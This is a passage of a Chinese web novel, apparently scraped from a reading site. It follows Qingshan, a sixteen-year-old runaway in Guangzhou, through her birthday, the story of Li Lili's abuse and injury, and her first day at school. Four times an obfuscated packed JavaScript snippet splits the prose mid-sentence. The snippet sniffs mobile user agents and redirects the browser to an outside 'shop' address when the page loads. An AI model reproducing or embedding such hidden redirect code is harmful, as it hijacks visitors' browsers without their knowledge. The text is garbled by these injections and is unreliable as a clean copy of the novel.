l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889064|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”高奶奶笑没了眼,仅剩的几颗门牙露出,有些可爱,“青山要是我孙女就好了,多乖啊,我就喜欢这样的小姑娘,可惜没这命,要不你做我孙媳妇吧?” 青山手里的勺子险些掉落,被说得一阵羞红,娇嗔唤了声:“奶奶!” 她不好意思去看身旁高扬的反应,发丝落下挡住了半边通红的脸颊,一阵沉默后,他听见高扬不大自然地咳了声:“老太太你够禽兽啊,人家青山才十五岁呢,你撺掇人不学好啊?” “十五岁怎么了?”高奶奶不赞同地瞪他一眼,“我十五岁的时候都跟你爷爷私奔了,十八岁就生了你那个混账爹,你妈也是十几岁就跟你爸认识了,现在这年纪正是谈恋爱的好时候,你不抓点紧。” 青山似是被骇住了,没想到高奶奶居然这么勇敢,有胆量私奔,即便是现在,私奔也是要被人看不起的,更何况高奶奶年轻的时候。 高扬气笑了,无可奈何地摇头,“你想什么呢老太太,现在都提倡晚婚晚育,你以为还是你那时候呢,时代不一样了,现在这个年纪得好好读书,将来才能有出息,特别是女孩子,一天到晚想着谈恋爱算怎么回事?” “那你不也没去读书吗……”高奶奶小声嘟囔了句。 “……” 高扬不说话了,青山是不敢说话,她其实大概能猜到一点高扬不读书的原因,奶奶眼神不好,一个人在家里很容易磕了碰了,又总是小病小痛的多,他不放心也很正常,可是就因为这样要放弃学业吗? 她虽然疑惑,但并不会去问,她看得出来高扬对此很避讳,她没必要为了自己的好奇心让人家不痛快。 吃了饭高扬就得去店里,原本想带着奶奶一起去,但是奶奶不爱出门,义正辞严拒绝了他,高扬没办法,只好把求助的目光看向青山。 青山心领神会,让他放心出门工作,自己会把奶奶看好的。 等高扬走后,奶奶才神神秘秘地笑了下,像是个恶作剧成功的孩子,青山这才反应过来她是故意的,她在奶奶身前蹲下,看着她问:“奶奶,你怎么不跟着他去啊,您一个人在家万一出事了怎么办?” “我不好意思去。”高奶奶拢了拢自己花白的短发,局促地捏着手。 “为什么啊?” “我怕……我给他丢脸。” 青山不明白,这怎么会丢脸呢? “他那个小超市吧,平时很多客人都是他以前的同学,都还在上学呢,你说我一个老婆子去了像什么样子,又老又丑,连自己都收拾不干净,得让他来给我洗衣服洗澡,人家心里会怎么想?” “他们肯定觉得,扬扬不读书就是为了我这个老太婆,到时候又把我们想得多可怜多可怜,我不愿意,扬扬读书那会儿可受欢迎了,现在他这样,多少人看他笑话呢,我不能再给他添麻烦。” 青山怔愣了片刻,忍着鼻尖涩意道:“谁说的,你怎么净瞎想呢,你在高扬哥眼里可是最漂亮的老太太。” 12. 生日快乐 十二月十二号是青山的十六岁生日,往常在家是向来不过的,青山自己也没什么必须要过生日的感觉,但孟琳对此却很坚决,这是青山和他们在一起的第一个生日,必须要好好办才行。 青山见她神神叨叨的,也不知要准备怎么办,阿让躺在躺椅里翘着腿看乐呵,也一脸神秘不说话。 这躺椅是他捡人家不要的,搬回来修个腿又能用了,就是不大牢靠,他总是躺着躺着就一头栽了下去,青山看得肉疼,劝他换掉。 阿让拍拍屁股又站起来,笑嘻嘻地将那躺椅扶正,“换啥,能用呢,再说了,我皮糙肉厚的,摔两下不疼。” 青山知道他是心疼钱,阿让晚上在舞厅里做工,白天还得回电子厂上班,其实一天下来他没什么睡觉的时间。 但青山不明白,他这么拼命赚钱是因为要养家吗,可看他独来独去的,也从没提到过父母,平时最多也就是和高扬走得近些,总觉得他和自己一样,都是这个城市里孤单的灵魂。 “阿让哥,对自己好一点吧。”青山有些心疼,在她心里阿让是和青水一样亲近的存在,“你看你,平时穿这漏风跑棉的棉袄,一年到头就这两条牛仔裤,袜子还破了洞,你不冷吗?要是身体垮了还怎么赚钱呢?” “……你这丫头。”阿让也不知道听没听进去,他最近又冻感冒了,擤着鼻涕瓮声道,“你也对自己好点儿吧,说我呢还,自己一分钱舍不得花,攒给谁去啊。” 青山沉默片刻,极轻极轻地道:“给我姐姐。” “嗯?”阿让诧异回头,他只知道青山是从家里跑出来的,并不知道她家里还有姐姐,“你还有姐姐呢?” “是啊。”青山点头,“我有两个姐姐,我想攒钱给我二姐姐,等攒够了钱,我就叫她来城里读书,我脑子笨,没她聪明,我给她赚钱,她等着安心读书就好了。” “那你呢?你想读书吗?” “……” 想啊,怎么会不想,如果可以,她希望可以和青水一起上学。 青山吸了吸鼻子,道:“我也会读书的,就是可能得久一点,等再赚多一点钱再说吧。” 阿让看了眼青山,神思飘忽不知道在想什么,半晌,他拍拍青山的肩膀,大咧咧露出个没心没肺的笑,道:“会实现的。” “什么?” “你的愿望,会实现的。” “什么呀。”青山失笑,不知道他怎么突然说起这个,“这不是愿望,是目标。” “行,目标。”阿让往青山头上撸了一把,像撸小狗,“不管是什么,都会实现的,我们青山不管做什么都超级厉害,行了吧。” 青山瞪了他一眼,嫌弃地拿开他的手,“你就知道敷衍。” 阿让也不恼,就这么没心没肺地看着青山笑。青山被孟琳养得很好,比起初来乍到时的局促不安,做什么都小心翼翼,现在的她更从容,也愿意开玩笑,身上没了那种惶恐的感觉。 她头发长了些,皮肤也白了点,身上穿着时下最新款的羽绒服,青山是个不识货的,只知道穿着暖和,但阿让知道,这件衣服不便宜,估计烧了孟琳小半个月的流水。 他没说破,嘴里叼了根糖,扔给了青山一根。青山没吃,把它放进了兜里。 阿让看出她的想法,道:“劝你别给奶奶吃啊,到时候被高扬知道了,他连你一起骂。” 青山:“……” 她又悻悻把糖从兜里拿出来,高扬板着脸训人的样子还挺可怕的,虽然没骂过她,但青山一对上他那双漆黑的眼眸就发怵,她不敢惹高扬生气,把糖剥开放进了自己嘴里。 她出生那天下了雪,但广州很少下雪,阿让说他来广州那么些年,还从来没见过雪。 青山有些怅惘,她还挺喜欢雪的,可惜看不到了。 十二月十二号,孟琳特地提前关门,带着阿让和青山去了高扬家。 高扬知道今天是青山生日,还特地买了个蛋糕回来,家里比往常热闹,也多了几分人气儿。 青山进门时有些奇怪,屋里多了个不认识的女人,垂着头坐着,没什么表情,身上穿着暖和的羽绒服,头上也严严实实戴了毛线帽,看上去很温柔。 她看了眼高扬,以为是他的妈妈,高扬没品出她眼神里的意思,只是招呼他们进门。 阿让一进门就径直去了那女人身边,笑嘻嘻地对青山说:“介绍一下,这是我妈,黎丽丽女士。” 青山震惊:“你有妈妈?” 阿让:“……这话说的,谁没妈啊?” “不是……”青山其实不是这个意思,只是阿让身上孤独的气息太浓重,她下意识以为他在这个城市也是孤身一人,没想到他妈妈也在这个城市。 “阿姨好,我是青山,是阿让哥的朋友。” 青山蹲下身同女人讲话,但不知为何,女人似乎没听到般,一点反应都没有。 阿让笑了下,给他妈妈拉好拉链,解释道:“黎女士有时候不认人,前些年出了点事儿,这不,就一直这样了,时灵时不灵的。” “啊……” 青山挠了挠头,万万没想到竟然会是这样,她心里涌起一些微小的愧疚,手忙脚乱想要去帮阿让扶着人。 “没事儿,我来吧,黎女士有点害羞呢。”阿让冲她笑笑,扶着黎女士胳膊温声道,“黎老师,咱们吃饭去呗?今天有个漂亮的小姑娘过生日呢。” 黎女士不知是听到了什么,眼睛倏然一亮,总算有了反应,轻声答:“好……好……过生日……生日……” “走吧。” 阿让领着黎女士走到饭桌前坐下,给她兜好围嘴,像照顾小孩子一样照顾她,眼里是罕见的耐心。 孟琳和高扬在厨房里忙活,孟琳嫌高扬土豆丝切得粗了,两人叽叽喳喳斗起嘴来,主要还是孟琳骂,高扬偶尔不服气地还几句嘴,几乎淹没在孟琳的大嗓门里。 高奶奶从房里跑出来,青山怕她摔了,忙过去搀着她,奶奶手里拿着两件毛衣,一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889065|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色,一件深灰,她将白色那件递给青山,笑得有些不好意思:“青山啊,这是奶奶给你的生日礼物,就是我这眼睛不大好了,看不太清楚,没以前织得好,你凑合穿,下回我就教扬扬织毛衣,叫他给你织。” 青山拿着毛衣心里又感动又好笑,“奶奶,你瞎说什么呢,织得够好了,高扬哥那么忙,哪能叫他织毛衣呢。” “那有什么,男孩子就得干干活儿,才会有姑娘愿意要他。”高奶奶又拿着那件深灰色的毛衣小跑着去找黎女士,献宝似的举到她面前,“丽丽,快看看我给你织的毛衣,喜不喜欢,可软了,我特地挑的羊毛的……” “奶奶,跟你说了多少次了,我妈不认得自己的名字,你得叫她黎老师。” 阿让无奈地又提醒了一遍,接过她手里的毛衣在黎女士身上比划,问她:“黎老师,看看喜欢不?咱家奶奶就是手艺好哈,袖子织得都比别人长一截儿。” “你个臭小子你又打趣我!”高奶奶作势锤了他一拳,黎女士似乎也被活跃的气氛带动,张着嘴乐,“好看,喜欢毛衣,毛衣暖和。” “行,黎老师还是给面子。”阿让找了个袋子把毛衣收起来,搬了把板凳放在奶奶腿弯,“您老也赶紧坐下吧,等会儿摔了高扬非把我皮扒了不可,一把老骨头了还跑呢。” 高奶奶不高兴地反驳:“我看得见,就是不大清楚而已。” “行,看得见,您那视力表一测啊,还倒欠我五分儿呢。” 阿让欠欠儿地还嘴,仗着自己躲得快,说完就跑,留着奶奶气得跳脚。 高扬端了菜出来,一见这模样就知道阿让又把人惹恼了,捏着筷子敲了下他后脑勺,“又欺负我们家老太太呢,没礼貌。” “就是,没礼貌!”高奶奶跟着骂他。 “哪儿能啊,我说得过老太太吗。”阿让嬉皮笑脸,把剥好的小葱递给青山,“给孟姐送去。” 厨房里头孟琳还在骂骂咧咧,嫌弃高扬的土豆条,青山把盘子给她,劝道:“好啦,干嘛那么生气,土豆条就土豆条嘛,我们自己吃,要那么好看干什么?” ”一个两个都是讨债鬼,这么点小事都干不好,长那么高个子有什么用?”孟琳举着菜刀狠狠剁豆腐,“真想把他给切成土豆丝!” 青山看着四分五裂的豆腐有些不忍,她这架势仿佛案板上的并不是无辜的豆腐而是高扬,青山心有余悸,不敢多嘴,送完小葱就默默滚出去了。 大家都在饭桌上坐定等着开饭,孟琳把那盘稀碎的小葱拌豆腐往高扬面前一拍,道:“看我干嘛,吃饭!” “嚯!”阿让拿筷子挑起一点儿豆腐渣渣,放在眼前啧啧称奇,“孟姐,这豆腐在你手里可是死得够惨的啊,碎尸万段啊。” “……” 众人端着饭碗没敢说话,生怕触了孟琳的眉头,唯有阿让这个勇士迎难而上。 青山用看英雄就义的眼神看着他,阿让被看得浑身发毛,迟疑地开口:“……看我干嘛?” 13. 人间好不好 孟琳把筷子往桌上一拍,脸色冷得吓人:“爱吃吃,不吃滚出去。” “……” 阿让舀了一大勺豆腐塞进嘴里,悄摸问青山:“她咋了?生理期?” “额……” 其实青山也不知道,孟琳是个没心没肺的人,虽然总是嘴上说得坏,但并不会放在心上,高扬只是切坏了土豆,这并不是一件值得她生气的事情,可她就是发了很大的火。 青山觉得,孟琳并不一定是在气高扬,倒更像是借机发泄。 她垂下眼睑,这几天孟琳总是不对劲,瞧着开心,可其实一点都不开心,而原因她无从得知。 许是知道自己没控制住脾气,孟琳无措地摸了下鼻子,缓和了语气,“没事,吃饭吧,店里烦心事多,这几天着急上火的。” 高奶奶夹了筷鸡蛋,担忧地道:“上火那得喝点凉茶,对身体也好,你看你每天忙的,不爱惜身体老了要吃苦头呦。” “我知道了,您别老操心。”看来孟琳也曾经深受凉茶的荼毒,一听到这两个字脸都绿了。 饭桌上的气氛此刻才算缓和下来,青山心里一松,露出一个浅浅的微笑。 阿让自己没扒拉几口饭,一直在照顾黎女士先把她喂饱,末了,又给黎女士擦完嘴才放她去玩。 高扬看了看她坐在沙发上的身影,问:“最近阿姨有好一点吗?” “好啥呀,她像现在这样能吃能睡我就够开心的了,别的不求。”阿让往嘴里扒了口饭,含糊不清道。 “都多少年了。”奶奶接过了话头,“一辈子浑浑噩噩过去了,什么都不知道,苦啊难啊都丢给儿子背着了,唉,人呐……” “那不应该的吗?她是我亲妈,儿子不孝顺亲妈天打雷劈哦。” 许是不想多聊这些,大家说了几句也就没再说,吃过饭大家围坐在一起,高扬在屋里找了一会儿,然后拿着个袋子出来了,他在青山身边坐下,将手里的东西递给她。 “这是什么?这么大,生日礼物吗?” 青山接过,没客气地边拆边问,等里头的东西露出全貌,她愣了半晌不敢去拿,“这……我用不着这个啊,高扬哥你买了也是浪费,很贵的吧……” 袋子里静静躺着一只淡黄色的书包,是很适合女孩背的款式,一看就是用了心挑选的。 高扬笑笑没说话,倒是孟琳把书包接了过来欣赏了一番:“臭小子眼光还挺好,这书包咱们青山背上那真就是个女学生,肯定好看。” “来。”她把书包往青山肩上一挎,“试试,等下个月呢就背着这书包去上学。” 青山书包背到一半,松松垮垮掉在胳膊上,她疑心自己听错了,不可置信问了句:“你说什么?” “什么说什么,你耳朵不好啊?”孟琳白了她一眼,“算给你生日礼物吧,这些天找了点人情,给你托了个学校,不过不是多好的学校啊,你到时候可别学坏。” 青山傻得连眼皮都不知道眨了,她屏住呼吸小心翼翼地问:“你是说……我能去上学?” “为什么不能?你现在这个年纪不去上学作死去啊,老老实实给我滚回学校读书,给姐考个好大学回来。” “我、我上学……” 比狂喜先来的是泪水,晶莹的泪珠一颗颗雨点般落下,她手里拿着书包不知所措,抽噎着道:“可是……可是我还不起你……你赔了……” “还什么还。”孟琳伸手给她擦掉眼泪,轻轻拍着她后背安抚,“你是我妹妹啊,咱俩一个户口本上的,一家人说什么还不还的,多生分。” “对啊。”阿让也道,“进了咱们家那就是一家人,再说了,孟姐有点钱不花出去她难受。” “滚!”孟琳扔过去一个苹果,斜睨了眼阿让。 “好了。”高扬拿下青山肩上的书包给她收起来,道,“我们小寿星是不是该吃蛋糕了?还要许愿,一年到头就这许的愿灵。” “对对对,得许愿。”孟琳一拍脑门,掏出几根花花绿绿的蜡烛插在蛋糕上,“过生日得许愿,你要是不好意思告诉我们,你就偷偷在心里说,也是一样的,像我这样,两只手合起来,然后闭上眼睛……” 青山没吃过蛋糕,也没许过愿,她其实不是很理解这么做的含义是什么,但也许是火光太温暖,周遭太多善意的眼神,她心下一软,学着孟琳的样子双手合十,闭眼在心底偷偷道:“希望……青水幸福,奶奶和黎女士身体健康,希望孟琳发大财,希望我们永远在一起。” 她睁开眼,对上几双期待的眼神,孟琳轻声道:“许完愿就可以吹蜡烛了。” 青山腮帮子鼓起,吹灭了上头的十六根蜡烛,灯光亮起,她的十六岁从此宽敞明亮。 大人们不爱吃甜腻腻的蛋糕,只剩几个孩子们凑在一块切蛋糕,阿让拿了一块就端过去喂给黎女士,高扬手里拿着刀,在青山的指挥下给她切下一块。 “这个,我想要这个草莓。” “行,这上头的草莓都给你。” 因为刚吃饱饭,高扬没给她切太多,倒是揪了不少草莓给她,青山挖了一大勺放进嘴里,轻若云层的奶油在嘴里化开,不知不觉就遛进了喉管,只剩下一丝清甜的气息。 她顿时瞪大眼睛,惊喜地看向高扬,“好好吃!” 高扬失笑,食指点了一点奶油抹在青山鼻尖上,望着她温柔笑笑:“生日快乐,小青山。” 青山的瞳孔清晰地倒映出高扬的模样,他们在彼此的眼神中对视,胸腔中似乎有一股热流涌动,她突兀地开口,“高扬哥,我好像生病了。” “嗯?” “嗯。”青山肯定地点头,“我的身体里好像有鼓在敲,回声一阵一阵的,震得我嗓子眼都发麻。” 高扬怔愣片刻,看着青山湿漉漉的眼眸没说话,半晌,他低声叹道:“青山,那不是生病,是……” “是什么?”青山追问,目光紧盯着高扬。 他被这目光灼伤了,无所适从地偏过头去,投降般扯了下嘴角,“算了……你不懂。” 到最后高扬也没告诉她那到底是什么,只是红着耳尖沉默地把剩下的蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889066|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她带回去。 青山不知道高扬为什么不理她了,有些落寞地张了张嘴,还没来得及说什么,就被孟琳一把薅走了。 “老人家还得睡觉呢,你磨磨叽叽磨什么时间呢,快走。” “好吧。”青山跟在孟琳身后,看着她拉长的影子发呆。 万籁俱寂中,她问:“黎阿姨……她为什么会这样啊?” 孟琳的脚步缓了下来,高跟鞋在地上发出拖沓的声音,她拢了拢大衣,将青山搂在身前:“黎老师是个苦命人,阿让也苦,她原先是村里的老师,算为数不多读过点书的女人,所以在当时嫁了个还算不错的人家,就是他们村主任的儿子。” “开始吧,她老公对她还挺好,没过多久呢就怀了阿让,后来生下阿让她老公就想让她在家带孩子,不让她去教书了,黎老师不肯,她对学生就像对自己孩子一样,一个都不肯放弃,她盼着学生读出去,将来有出息,村里老师本来就不多,她要是也不干,那学生们就真的没希望了。” “她老公就以为她舍不得辞职,是因为在外头有了人,每天就盼着去学校幽会,偷偷跟着李老师后面找了好几次,也没发现有什么男人,他就觉得是黎老师藏人藏得好,后来就开始打黎老师,打得那叫一个狠,可是能怎么办呢,黎老师没有还手的力气,阿让那会儿还小呢。” “等阿让大概七八岁的时候,黎老师实在受不了了,就带着阿让跑了,跑来了广州,那会儿娘俩无依无靠的连个住的地方都没有,半夜抱着腿缩在大街上,被几个酒鬼盯上了,就要对黎老师犯浑。” “黎老师拼命反抗,那几个男人是有备而来的,见制不住黎老师,就抄了家伙一棍子打在黎老师后脑勺上,黎老师当场就晕了,阿让吓坏了,拼命地嚎,嚎来了周边的人帮忙,娘俩才得救——你不知道吧,阿让右脚小拇指是没有的,就是被那几个畜生一刀砍在地上给削掉的。” “也就是那时候,黎老师被打坏了脑子,不认人了,经常神志不清,那会儿高扬他妈还在呢,在医院里头当保洁,就给他们俩带回了自己家,高扬跟阿让年纪差不多,一见面俩人就特能玩一块,好得恨不得穿一条裤子出门,后来阿让大了,也有能力了,就自己带着黎老师搬出去了。” 说完,孟琳长叹一口气,很是唏嘘般道:“你说这人间,怎么就这么苦。” “你苦吗?” “什么?” 青山笑了笑,“你今天生气,是因为那个男人吧?我看到了请柬,他昨天结婚。” “……切。”孟琳装作不在意地嗤笑一声,“小屁孩什么男人不男人的,你给我脑子里想点正事!” 两人互相依偎着往家走去,月亮高高挂在天上,月亮还是那轮月亮,不喜不悲,就那样挂着,看着人间。 你说人间好不好。 残缺的身体,失智的灵魂,错付的真心或许就是答案。 人间好不好。 圆满的户口本,甜滋滋的奶油蛋糕,漂亮干净的书包也是答案。 所以啊,人间到底好不好呢。 14. 梦想 原本青山是该等过完年下学期开学了再去学校的,可是孟琳怕她跟不上人家,索性让她这学期就去,虽然剩个尾巴,但能学到一点算一点。 要去上学的前一晚,青山坐在桌前,收拾了笔盒放进书包,然后望着窗外开始发呆。 明天就要去学校了,按理说她应该开心才对,可是心里沉甸甸的,总也不舒服。 不知道青水还好吗…… 离家这么久,她唯一挂念的就是青水,当初说好了打工供她读书,结果钱还没赚到,自己先去读了书,这算不算背叛她呢。 孟琳给她买了盏小台灯,不同于钨丝灯的昏黄,这盏台灯的光是明亮的莹白色,像月光一样柔和,却比月光还要亮。 像她和青水看过的那轮月亮。 学校和青山想象的不一样,这里又宽敞又热闹,操场是草地做的而不是泥土地,教学楼又高又漂亮,学生有统一的校服,老师有独立的办公室,窗明几净,人来人往。 孟琳领着她去见班主任,她们到时里头只有一个大约四五十岁的中年男人在,孟琳敲了敲门,问:“是张老师吧?” “呃……”男人抬了抬眼镜,小眼睛眯缝着打量了下两人,才道,“对,是新来的?” “对,是我们。”孟琳赔着笑,把青山的资料放在桌上,“刚转过来,可能还不适应,麻烦老师您多费心了。” 张宏敏将资料放到一边,摆了摆手道:“这位家长你先回去吧,马上就要上课了,别耽误学生的学习时间。” 孟琳的笑容僵了一下,随即又很快恢复如常:“哦行,那我们孩子就麻烦老师了。” 她转身杵了杵青山的腰,冲她口型示意:“嘴巴甜点儿!” 偏偏青山就不是个嘴甜的性子,孟琳一走,气氛就骤然冷了下来,她站在原地没动,青山不是傻子,不用眼睛也能看出来这位班主任眼里的轻蔑和高傲,他并不喜欢她这个半路学生。 张宏敏刻意冷了青山几分钟,自己翘着腿悠悠喝着水,不大的办公室里一时间只剩他“噗噗”的吐茶叶声。 这个学生是没人要硬塞给他的,可见底子一定不怎么样,再过一个月就要期末考了,这不是白白拉低他们是的平均分嘛,就是来添堵的! 大约过了五六分钟上课铃才响起,张宏敏重重合上杯盖发出清脆的“叮”的一声响,他收拾了教案站起身,见青山仍旧低眉垂眼站着,整个人说不出的乖顺,心里的火稍稍下去了些:“走吧,带你去教室。” 青山亦步亦趋跟着他,轻声道:“谢谢老师。” 十五六岁的皮猴儿总也没有消停的时候,哪怕老师站在讲台上扯破了嗓子,他们仍旧我行我素,扔书的扔书,骂街的骂街,打闹的打闹。 张宏敏站在黑板面前把桌子都快拍烂了,底下的人仍旧没有丝毫收敛,张宏敏眉毛一竖,圆滚的肚皮蕴了气,胸膛一挺,一声怒吼自喉间震出:“都给我闭嘴!没看见有新同学吗?” 底下的躁动这才堪堪平息,一个个都拿眼儿好奇地瞅着青山,青山脸上一热,动了动身子有些想躲,但讲台上空荡荡的没个遮掩的地方,她也只好作罢。 张宏敏清了嗓子,让青山站到跟前:“这位是新同学啊——你作个自我介绍。” 青山一愣,这显然不在她的设想范围之内,她攥了攥掌心,手心已经有些湿濡,透露出内心的不安。 她喉头滚动了一圈,才小声道:“大家好,我叫杨青山。” 青山按捺住内心的忐忑,小心看了眼底下,却发现他们没有什么反应。 张宏敏不满意地皱眉:“没了?” “嗯。”青山点头,她不知道自我介绍还要说什么,“没了。” “那你平时有什么爱好?”张宏敏还想让她多说一些,“比如听音乐?爬山?游泳?” 青山略思索了一会儿,还是摇了摇头:“没有。” 爬山她爬得够够的了,这辈子都不想再爬,至于游泳她也不会,山沟沟里的孩子,哪里见过水,最多也就是见过个小池塘罢了。 青山并不知道他们有什么娱乐活动,凭她的认知她也想不出来,索性说了没有。 “那行吧。”张宏敏也没为难她,对着底下的学生道,“愣着干嘛,鼓掌啊,怎么,不欢迎人家?” 如雷的掌声这才迟钝地响起,青山扫过他们每一个人的面庞,发现他们脸上并无恶意或嘲讽,她才稍稍放下心来,真心实意地露出一个笑来。 掌声渐停后,张宏敏扫了眼座位,给青山指了个偏后的位置:“杨青山,你就坐那儿,正好赵吉祥边上没人,去吧。” 青山看了眼那个叫做赵吉祥的女生,她的目光并不在自己身上,只是埋头写着桌上的作业本,一副与世无争漠不关心的模样。 直至青山在她身边坐下,她才略一抬头,匆忙冲她露出个笑来,然后继续埋首奋笔。 青山小心翼翼地将书包收到桌屉里,大气不敢喘,生怕打扰了她,城里人都这么好学的吗,看来她得抓紧了。 张宏敏教的是语文,虽然他一开始对青山确实有些偏见,但人既然已经到了他的班级,那就只能想办法不让她拉低平均分,是以他每讲一个知识点就要往青山那儿看一眼,待得到青山的回应才移开目光。 这可苦了青山了,天知道她根本就听不懂啊,张宏敏可谓是情绪型讲师,不仅语速快情绪强,有时讲得上头了还会掺杂大量的粤语,青山作为全场唯一一个外乡人,实在是觉得张宏敏在鸡同鸭讲,偏偏他还特别喜欢盯着她,青山没办法,只能报以一个微笑,张宏敏大概以为她听懂了,点点头满意地往下讲。 青山苦哈哈地握着笔杆子不知道该记什么知识点,惆怅地往旁边瞄了一眼,她这位同桌从上课起就没抬过头,一直在写着……英语作业? 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889067|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪地盯着同桌头顶的发旋儿看,觉得这班里似乎没什么正常人,而她身边这位尤为奇怪。 好不容易挨到下课,张宏敏意犹未尽地舔了舔嘴唇,咂嘴道:“行了,下课吧。” 欢呼声骤然爆发,男孩子们如同野人一般蹿出了座位,凑在一块哄笑打闹,青山吓得浑身一震,显然还没习惯他们这咋咋呼呼的性格。 赵吉祥写完最后一个字母,笔尖在纸上点下一个黑点算作结尾,而后沉沉松了口气,她将那作业本高举起来喊道,“李童童,我补完作业了,现在交来得及吗?” 一直以为她在努力学习的青山:“……” 敢情是没写完作业啊…… “快给我吧,得在第二节课上课前给送过去呢!”李童童抱着一摞作业,冲她翻了个白眼,“你真是的,天天落天天落,别的作业都不落,就落英语作业,赵吉祥你是不是故意的?” 赵吉祥心虚地冲她吐舌头,“怎么会呢,就是忘记带回家了嘛……” 她似是才注意到身旁的青山一般,托着下巴俏皮地一眨眼,语气轻快:“同桌你好呀,我叫赵吉祥,吉祥如意的吉祥,是咱们班的班长,你有什么不懂的就来问我,别客气!” 青山被她逗笑,眉眼间松快了些许,她确实有很多问题,但想想她们两个也才刚认识,要是总问她的话人家也会觉得很麻烦吧。 吉祥看出她眼底的犹豫,宽和地笑笑,道:“诶,上一节是不是老张的课?我光忙着补作业了也没听,你不知道,老张这人讲起课来就跟个机关枪一样嘚嘚嘚个没完,讲话还带口音,有的时候根本听不懂他在说什么鸟语,我都怀疑他到底有没有考过普通话了。” “考……普通话?”青山没听太懂,“普通话还要考?” “当然了。”吉祥很自来熟,不过几句话的功夫就挽上了青山的胳膊,叽叽咕咕说个没完,“当老师都得考普通话,有了证书才能当老师,咱们班不少女生都想当老师呢,工作稳定又体面,每年还有寒暑假,诶你想不想当老师?或者有没有别的梦想?” 梦想…… 青山从来没想过,对她来说梦想不是她这种人可以奢望的,能够平稳活着已是不易,哪里还有什么闲工夫关心梦想这玩意儿呢。 吉祥没听到她的回答也不在意,自顾自说道:“我的梦想呢就是考个好大学,然后买房子,我一定要有一个属于自己的房子,如果这房子是我亲手盖的就更好了,到时候呢我再把我奶一起接过去,想想就幸福!” 少女眼眸中迸发出无限憧憬,那是独属于青春期的无畏美好的幻想,人的一生中恐怕只有这时候才最无虑,最敢想,他们可以是拯救世界的英雄,可以是上天入地的超人,也可以只是在凡世中拥有微小幸福的普通人。 青山怔怔看着她眼里的璀璨星光,一时有些恍惚,原来梦想可以让人变得那么耀眼吗,她有些羡慕吉祥。 15. 贺川 孟琳谈了个对象,是街角修车店的老板。 那老板常来舞厅,也不跳舞,就要一瓶啤酒,然后坐在角落里喝着。 阿让不止一次注意到这个怪异的男人,他杵了杵身旁低头看书的青山,“诶诶,那男的又来了。” “嗯?”青山一向不大关心别人的事,此刻恍惚抬起头来,不知道他说的到底是哪一个男人。 “就是那个。”阿让悄摸伸出根手指指给她看,青山抬眼望去,男人整个人笼在阴影里,看不大分明他的模样,只是出众的身形让人无法忽视他的存在。 “我看他好几天了,每天来了就往那儿一坐,端着酒杯凹造型,好多姑娘都过去跟他搭讪呢,他全都拒绝了,也不知道要钓谁。” 青山看了看那人,不是很赞同阿让的话:“那也……不至于吧?兴许人家就是想坐坐呢。” “就你这种小屁孩儿才觉得他是好人。”阿让嗤笑了声,“我跟你说,来这儿的男人都不是好人,眼睛放亮一点,别等以后长大了被人骗。” “那你呢?”青山迟疑了一瞬,“你也不是好人?” 她本意是想呛阿让一下,没想到他个没脸没皮的痛快承认了,“我当然也不是好人啊,你可别轻易相信男人啊,谁家好男人大半夜不回家抱着老婆孩子在这儿野的,都是来泡妞的。” 两人凑在一起叽叽咕咕,丝毫没注意到高扬的到来,高扬搬着酒水往地上一放,见两人说得起劲也没在意,随便听了一耳朵之后,脸色骤然黑了,他抬手给了阿让一个暴栗,“找死啊?又胡说八道什么呢?” 阿让吃痛,捂着脑袋忿忿不平:“这怎么是胡说八道……明明是生活经验好吧?你看青山傻不拉几的,没准哪天就被拐跑了,我这叫防患于未然。” 青山不可置信地瞪大眼睛,“你说我傻?” 高扬也附和,“对啊,你说她傻?” “……” 阿让进也不是退也不是,盯着两道强烈的目光难得有些语塞,最后他泄气般地求饶:“好好好,我错了,我说错话了行吗,青山是世界上最聪明的小朋友。” 青山这才咧开嘴笑,满意地冲他扬起下巴,颇有些得意:“你知道就好。” 舞厅蓝紫调的灯光落在青山头顶,为她稚嫩的脸庞添了几分瑰丽,高扬幽深的目光在她身上定住,像个大姑娘了,还记得她刚来时瘦瘦小小一个,浑身干巴巴的,头发也枯得像茅草,又黄又短,现在被孟琳养了一阵,个子倒是抽条得长,原先面上冻伤的裂口也愈合了,头发柔顺地披在肩上,是个可爱的姑娘呢。 青山被高扬看得不自在,咳了声正想问他,只是还没问出口,就被舞池里的骚动给吸引去了注意。 